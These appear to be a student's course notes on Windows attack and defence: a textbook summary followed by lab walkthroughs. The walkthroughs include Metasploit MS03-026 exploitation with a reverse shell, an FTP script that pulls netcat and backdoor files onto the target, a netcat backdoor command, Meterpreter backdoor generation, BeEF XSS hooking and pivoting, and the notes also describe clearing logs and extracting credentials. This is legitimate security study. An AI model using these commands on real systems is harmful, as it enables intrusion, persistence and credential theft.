2017-2018-2 20179317 《网络攻防技术》第七周学习心得体会
教材學習內容總結
課本第七章主要圍繞windows操作系統安全攻防技術進行講述,教材中主要涉及的攻擊內容如下:
-
Windows操作系統的基本結構
- 運行于處理器特權模式的操作系統內核
- 運行在處理器非特權模式的用戶空間代碼
- 采用宏內核模式來進行構架
-
Windows操作系統內核的基本模塊包括如下
- Windows執行體
- Windows內核體
- 設備驅動程序
- 硬件抽象層
- Windows窗口與圖形界面接口內核實現代碼
-
Windows操作系統在用戶態的代碼模塊則包括如下
- 系統支持進程
- 環境子系統服務進程
- 服務進程
- 用戶應用軟件
- 核心子系統DLL。
-
Windows操作系統內核中實現了如下的核心機制
- Windows進程和線程管理機制
- Windows內存管理機制
- Windows文件管理機制(NTFS)
- Windows注冊表管理機制
- Windows的網絡機制
-
Windows安全體系結構
- Windows操作系統基于引用監控器模型來實現基本的對象安全模型。
- Windows身份認證機制
-
Windows授權與訪問控制機制
-
Windows安全審計機制 系統審計策略在本地安全策略中由系統管理員定義,來確定系統對那些事件進行記錄。
-
Windows的其他安全機制
- 身份認證
- 授權與訪問控制
- 安全審計
-
目前Windows遠程攻擊技術可以分為以下幾大類
- 遠程口令猜測與破解攻擊
- 攻擊Windows網絡服務
- 攻擊Windows客戶端及用戶
-
Windows系統的安全漏洞生命周期
-
使用Metasploit軟件實施滲透測試 Metasploit軟件采用開發框架和模塊組建的可擴展模型,以Ruby語言編寫的Metasploit Framework(MSF)庫作為整個軟件的基礎核心,為滲透測試組建的開發與測試提供平臺;模塊組建是真正實施滲透攻擊的代碼,包括利用安全漏洞的Exploits模塊,進行掃描、查點等其他輔助任務的Auxiliary模塊,在目標系統上植入和運行的Shellcode攻擊負載Payloads模塊,對攻擊負載進行編碼以躲避檢測的Encoders模塊,以及對攻擊負載進行填充的Nops模塊;Metasploit提供多種用戶接口,包括Console交互終端、命令行程序運行、Web交互界面以及GUI圖形化界面;Metasploit還提供了API接口及插件支持,來支持第三方在MSF基礎上開發擴展模塊,比如自動化的滲透測試例程等等。
-
使Metasploit Console終端實施滲透測試,只需運行如下命令
- use exploit/windows/dcerpc/ms03_026_dcom,選擇針對MS03_026漏洞的滲透攻擊模塊。
- set PAYLOAD generic/shell reverse_tcp,選擇該滲透攻擊模塊適用的攻擊負載模塊。
- set LHOST 192.168.200.2;set RHOST 192.168.200.124,配置該滲透攻擊模塊和攻擊負載模塊所必須配置的參數。
- exploit,實施滲透攻擊過程。
- 在遠程控制會話中與目標主機進行交互,可能需要執行“sessions -I”列出當前已建立的遠程控制會話,并執行“sessions –i數字”在指定的供給控制會話中與遠程目標主機進行交互。
-
遠程口令字猜測
-
遠程口令字交換通信竊聽與破解
- 盡量關閉不必要開放的易受遠程口令猜測攻擊網絡服務,包括TCP 139/445端口的SMB服務、TCP135端口的WMI服務、TCP3389端口的TS終端服務以及TCP1433端口的MS SQL Server服務等。
- 配置主機防火墻來限制對上述端口的服務。
- 利用網絡防火墻來限制到這些服務的訪問。
- 應對遠程口令字交換通信竊聽與破解攻擊最基本的途徑是禁用過時而且存在本質上安全缺陷的LanMan與NTLM。
- 對于安全級別較高的Windows系統服務器等主機,管理員可以制定和實施強口令字策略,此外可以設置賬戶鎖定閾值,最后還可以在系統上激活帳戶登錄失敗事件審計功能。
-
Windows網絡服務遠程滲透攻擊 Windows操作系統默認開放135(TCP)、137(UDP)、138(UDP)、139(TCP)與445(TCP)端口,對應的網絡服務為MSRPC遠程調用服務、NetBIOS網絡基本輸入/輸出系統服務和SMB文件與打印共享服務。
-針對NetBIOS網絡服務的著名漏洞及攻擊 NetBIOS網絡基本輸入輸出系統提供了Windows局域網聯網的基本支持,包括在UDP137端口上監聽的NetBIOS名字服務、UDP138端口上的NetBIOS數據報服務以及TCP139端口上的NetBIOS會話服務。
-
針對SMB網絡服務的著名漏洞及攻擊 服務消息塊SMB是Windows操作系統中最為復雜,也最容易遭受遠程滲透攻擊的網絡服務。SMB空會話是Windows網絡中影響范圍最廣和時間最長的安全弱點之一。
-
針對MSRPC網絡服務的著名漏洞及攻擊 MSRPC網絡服務是微軟Windows操作系統對DCE-RPC標準遠程過程調用機制的實現。遠程過程調用機制是現代操作系統最基本的支撐機制之一,允許一個應用程序能夠無縫地通過網絡調用遠程主機上網絡進程中的過程,在MSRPC實現中,可以采用如下的網絡傳輸協議:
- ncacn_ip_tcp:TCP/IP傳輸協議,使用TCP135端口
- ncadg_ip_udp:UDP/IP傳輸協議,使用UDP135端口
- ncacn_np:SMB命名管道傳輸協議,使用SMB的TCP139或445端口
- ncalrpc:本地網絡RPC傳輸
- ncacn_http:HTTP傳輸協議,基于IIS服務,缺省配置在TCP593端口。
-
針對Windows系統上微軟網絡服務的遠程滲透攻擊 IIS Internet服務集成了HTTP、FTP、SMTP、POP、NNTP等網絡服務,并支持CGI、ASP、ISAPI等動態編程語言與接口,是微軟服務器軟件提供網站、電子郵件收發和文件共享服務的主要解決方案。MS SQL Server監聽TCP1433與UDP1434端口,支持使用Windows用戶賬號進行身份認證模式。MS SQL Server自建用戶身份認證模式,SQL Server數據庫服務的登陸賬號加密存儲與master數據庫的syslogins表中,并對用戶進行角色管理和授權訪問控制,同時提供訪問日志功能,整體安全水平能夠達到C2級別。
-
網絡服務遠程滲透攻擊防范措施 針對Windows系統上的各種網絡服務遠程滲透攻擊,最基本的防范措施就是盡量避免與消除這些滲透攻擊所依賴的服務軟件安全漏洞,具體包括如下:
- 從軟件設計開發根源上盡可能減少安全漏洞的出現
- 作為系統的使用者和管理員,應盡可能快地更新與應用軟件安全補丁
- 在安全漏洞從被意外公布和利用到補丁發布的這段“零日”漏洞時間,管理員對安全敏感的服務器應該測試和實施科永的攻擊緩解配置
- 利用服務軟件廠商及社區中提供的安全核對清單來對服務進行安全配置
- 通過漏洞掃描軟件來標識網絡中存在的以及安全漏洞并及時修補。
-
Windows本地特權提升 從受限用戶權限嘗試獲得特權賬戶的攻擊技術也被稱為特權提升,業內簡稱為“提權”。Windows系統上進行特權提升的共計途徑主要是通過DLL注入和破解本地程序安全漏洞。從技術上來說,獲得了Administrator權限并不意味著獲得了Windows系統的最高權限,Local System賬戶比Administrator賬戶的權限更高,比如Administrator不能在系統運行時刻讀取SAM位置注冊表鍵值,而Local System卻可以。有了Administrator權限,獲得Local System權限就很簡單了,一種方法是利用Windows的計劃任務服務,執行“atXX:XX/INTERACTIVE cmd.exe”打開一個命令Shell,該Shell的權限即為Local System;另一種方法是利用sysinternals的免費工具psexec,它甚至允許以遠程方式獲得和使用Local System權限。針對本地提權攻擊,與網絡服務的遠程滲透攻擊類似,最根本的防范措施就是及時給你的系統打好各種補丁。
-
Windows系統口令字密文提取技術 在本地獲取口令字密文的主要包括如下三種途徑:
- 從另一種操作系統啟動后拷貝文件系統中的口令密文文件
- 利用硬盤修復工具包中的rdisk工具,執行“rdisk/s-”命令創建SAM備份文件副本
- 使用pwdumpX系列工具直接從SAM文件或活動目錄中提取口令字密文。
-
LSA Aercrets通常位于HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets子鍵下,LSA Secrets收錄如下信息
- 某些服務賬戶的明文口令字
- 本季系統最近10位用戶的口令字密文
- FTP、Web用戶的明文口令字
- RAS遠程訪問服務撥號賬戶的名字和口令字
- 用來訪問域控制器的計算機賬戶和口令字密文。
-
用戶敏感數據竊取 對于用戶在系統中的文件,攻擊者可以執行find、findstr、grep等命令行工具來實施查找,此外,攻擊者也可能使用鍵擊記錄器來對用戶鍵盤輸入進行監聽,并期望從中搜索用戶登陸某些應用軟件、網游、金融網站的口令密碼。
-
本地敏感信息竊取防范措施 針對LSA Secrets和其他位置口令字的竊取與破解,目前這種攻擊普遍需要攻擊者已經具有Administrator的權限,在這種情況下,系統很難防止攻擊者獲取到這些信息,因此只能通過使用更安全的加密算法保護明文口令字,以及通過安全配置策略避免緩存關鍵服務器的銘感登陸口令信息,來盡量降低這種攻擊造成的安全風險。
-
Windows消蹤滅跡
- 關閉審計功能(Windows Resource Kit工具包里的auditpol程序可以讓他們輕易地關閉審計功能)
- 清理事件日志(使用Event Viewer事件查看器來打開、讀取和清除這臺主機上的事件日志)
-
Windows遠程控制與后門程序 攻擊者往往會在受控的系統中自主植入第三方的遠程控制與后門程序,主要分為命令行遠程控制工具、圖形化遠程控制工具這兩大類。Netcat工具是攻擊者們最常用的命令行遠程控制工具么可以通過“nc-L-d-e cmd.exe-p 80”命令啟動后門服務,監聽所配置的TCP 80端口,并綁定cmd.exe這個Shell程序,當攻擊者使用Netcat作為客戶端連接目標主機的80端口時,就可以通過網絡直接訪問到目標主機上的cmd.exe來執行任意的操作。Meterpreter的設計目標包括如下:
- 隱蔽性
- 設計功能強大
- 靈活可擴展。
-
針對后門程序的防范措施 針對遠程控制后門程序,在一臺計算機已經懷疑遭受攻擊的Windows系統上,防御者可以采用一些后門檢測軟件來嘗試發現攻擊者隱藏的后門程序,常用的檢測軟件包括反病毒廠商所提供的殺毒軟件,以及一些專業的后門及Rootkit檢測軟件。
教材作業實踐
Metasploit實驗過程
使用 Nessus 掃描 Windows Metasploitable 靶機
啟動 Nessus,創建新的掃描策略。
注意在 Port Scanners 選項里勾上 TCP Scan 選項。其它的選項按照默認的即可。接下來填入靶機 IP,就可以按照掃描策略對靶機進行掃描了。最后一項就是 MS03-026 漏洞。
通過 Metasploit 攻擊 MS03-026 漏洞。
獲得遠程訪問權在攻擊機上運行Metasploit,可 以 查 找 到 攻 擊 漏 洞MS03-026的exploit(windows/dcerpc/ms03_026_dcom)以及一個可用的 payload(generic/shell_reverse_tcp)。其中,該payload的作用是讓靶機返回一個命令行。 在攻擊機上鍵入以下命令,對靶機進行攻擊。
use windows/dcerpc/ms03_026_dcom set PAYLOAD generic/shell_reverse_tcp set RHOST 172.31.4.175 set LHOST 172.31.4.173 exploit通過 use 和 set PAYLOAD,設置使用的 exploit 以及 payload。 set RHOST 和 set LHOST 分別為設置靶機 IP 以及攻擊機 IP。最后通過 exploit 命令進行攻擊。
攻擊成功后我們獲得了靶機的一個命令行。
編寫 FTP 批處理命令,下載本地攻擊文件
獲得了靶機的命令行后,先在 C 盤創建一個文件夾 hidennc,這是存放后門創建所需文件的文件夾。
mkdir hidennc cd hidennc之后通過 echo 和管道,創建 ftp 命令列表,接著使用 ftp 命令執行該命令列表 command.txt,進而達到從特定的 ftp 服務器下載所需文件到靶機的目的。
echo user>command.txt 創建 command.txt,并寫入信息 echo visitor mima1234>>command.txt FTP 服務器用戶名 visitor 密碼 mima1234 echo get nc.exe nc.exe>>command.txt echo get AddReg.bat AddReg.bat>>command.txt echo get root.exe root.exe>>command.txt echo quit>>command.txt ftp -n -s:command.txt 172.31.4.200 執行命令列表 command.txt,下載文件exploit執行完上述命令后,可以在 C 盤 hidennc 文件夾下面看到命令列表 command.txt,以及從 FTP 服務器下載的三個文件。?
教材學習中的問題和解決過程
如何徹底徹底防御metasploit滲透攻擊
- 所有下載的系統和服務器軟件必須到官方網站下載同時進行md5sha512驗證
- 安裝完基本的linux系統.馬上進行系統的安全升級.特別是那些重要的通用共享庫.一般這個是自動的。
- 定制精簡內核.去除所有無用的驅動.功能.調試模式(除非你是內核調試專家).打上Grsecurity,tomoyo等補丁關于內核版本選擇我的建議是以rheldebian的發行版為基準考慮.沒有什么必要不要選用通用的主線kernel,漏洞很多。如果為了新功能也要選擇大版本號與當前的使用的debian/rhel發行版一樣.小版本號必須是最高的內核.這樣kapi兼容更好。
- 最高安全防止所有安全崩潰.請所有的linux內核服務器軟件都有兩套系統.比如內核一個是最新的linux3.5.3一個是發行版穩定的2.6.32系列.這樣可以給我們以切換維護時間。同時不耽誤生產.服務器軟件比如nginxapache都要部署.
- 所有服務其軟件nginx,mysql等等.必須加入gcc4.7.1-fstack-protect-all選項加強溢出防御.同時如果沒有必要請關閉所有的debug調試功能.畢竟程序設計誰也不能保證沒有漏洞.除非你不是人!當然內核中也有這個選項.我們一般不開.原因是一般內核的溢出都是本地的多.而且內核被打上那個選項一溢出馬上崩潰.本身也是一種不好的行為.還有就是太影響性能.再說內核Grsecurity安全補丁保護.
- 每個服務器軟件必須修改源代碼verion.h頭文件.偽裝軟件.把nginx變成apache,或者版本號亂寫.這樣加大了掃描的難度.還有迷惑那些手動掃描的黑客的.影藏軟件的所有無用信息.同時開啟內核Grsecuritytcpu序列號隨機功能.防止tcp序列號攻擊掃描判斷!(很強吧對付nmap)
- 使用精簡定制的freebsd-pf防火墻進行syn代理.同時關閉所有無用的端口.只開放80端口.讓掃描風險大大降低.同時加入并發控制.一般掃描都要很多連接.超過了就封.
- 在交換機復制端口.部署IDS系統-snort進行類似7層防火墻一樣的應用層匹配掃描.發現掃描溢出攻擊.反饋給防火墻進行封鎖.淡然如果你們公司很有錢可以使用專業的IDS/IDP或者7層放火墻。
- 設置nginx,apache的安全模塊功能.防止cc攻擊。。防止多連接掃描。
kali視頻內容實戰
Meterpreter實驗說明
Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功后的攻擊載荷使用,攻擊載荷在溢出攻擊成功以后給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個meterpretershell的鏈接。 Meterpreter作為后滲透模塊有多種類型,并且命令由核心命令和擴展庫組成,極大地豐富了攻擊方式。其有很多有用的功能。 常用命令:
- background:將當前會話放置后臺
- load/use:加載模塊
- Interact:切換一個信道
- migrate:遷移進程
- run:執行一個已有模塊,輸入run后按兩下teb,會列出所有的已有腳本。
- Resource:執行一個已有的rc腳本常用的Meterpreter類型為:payload/windows/meterpreter/reverse_tcp針對windows操作系統,反向連接shell,只用起來比較穩定。
步驟
一、生成Meterpreter后門 命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
???
在指定目錄,生成exe文件
生成一個后門就要打開一個監聽,接收返回的連接,查看需要的參數。需要兩個參數LHOST,LPORT。 將生成的文件模仿入侵的過程移動到靶機里。 set LPORT 2333 set LHOST 192.168.75.132 exploit background返回到msf里
BeeF實驗流程
對XSS漏洞需要強大框架的支持,如網上的XSS平臺。在Kali下,BeeF是一個不遜色于XSS平臺的工具。Beef是瀏覽器攻擊框架的簡稱,是一款專注于瀏覽器端的滲透測試工具。官 1、命令行下啟動Beef beef-xss 此時瀏覽器自動訪問此頁面:http://127.0.0.1:3000/ui/authentication 使用默認用戶名beef與默認密碼beef登錄:??初始用戶名和密碼為:beef和beef 左側為目標的瀏覽器 2、假設被測試主機由于XSS漏洞請求到?http://192.168.200.152:3000/demos/basic.html??左側online browsers出現新的選項,其Current Browser中包括瀏覽器名稱、版本、操作系統版本等。?3、HOOK持續的時間為關閉測試頁面為止,在此期間,相當于被控制了,可以發送攻擊命令,在Commands模塊,我們可以完成很多任務: 其中,四種顏色分別表示: 該攻擊模塊可用,但隱蔽性強 該攻擊模塊可用,但隱蔽性差 該用戶模塊是否可用還有待驗證 該攻擊模塊不可用 選取MISC下Raw JavaScript模塊作為測試用例?執行,查看返回結果,成功則顯示??
4、代理Proxy功能 選中目標主機,點右鍵,在菜單中選中Use as Proxy;然后在Rider選項卡中的Forge Request編輯并發送想要發送的內容。
視頻學習中的問題和解決過程
怎樣設置跳板機?
在跳板機獲取一定權限后,需要積極地向內網主機權限發展,獲取指定的目標信息,探查系統的漏洞,借助Msf已經得到的Meterpreter后門,可以使后續操作更容易。
解決
1、查看當前網卡、網段信息 先控制一臺跳板機,查看相關網卡網段信息 2、添加路由表 run autoroute -s 10.0.0.1 3、開Socks代理 通過使用 auxiliaryver/socks4a模塊,創建一個Socks代理,可以作為瀏覽器,Sqlmp,Namp等使用。 4、通過Background和sessions -i可以自由切換進入Session 5、輸入run可以看到Meterpreter上可以做的很多命令 6、獲取內網信息run arp_scanner -r 10.0.0.1/24 7、也可上傳文件,做端口轉發后續測試 8、應用程序/權限維持/Tunnel工具集 9、端口轉發 upload lcx.exe c:\
轉載于:https://www.cnblogs.com/sunshineisdelicious/p/8907378.html
總結
以上是生活随笔為你收集整理的2017-2018-2 20179317 《网络攻防技术》第七周学习心得体会的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linux 解压z01 .z02 .z0
- 下一篇: 三元表达式 列表递推 生成器表达式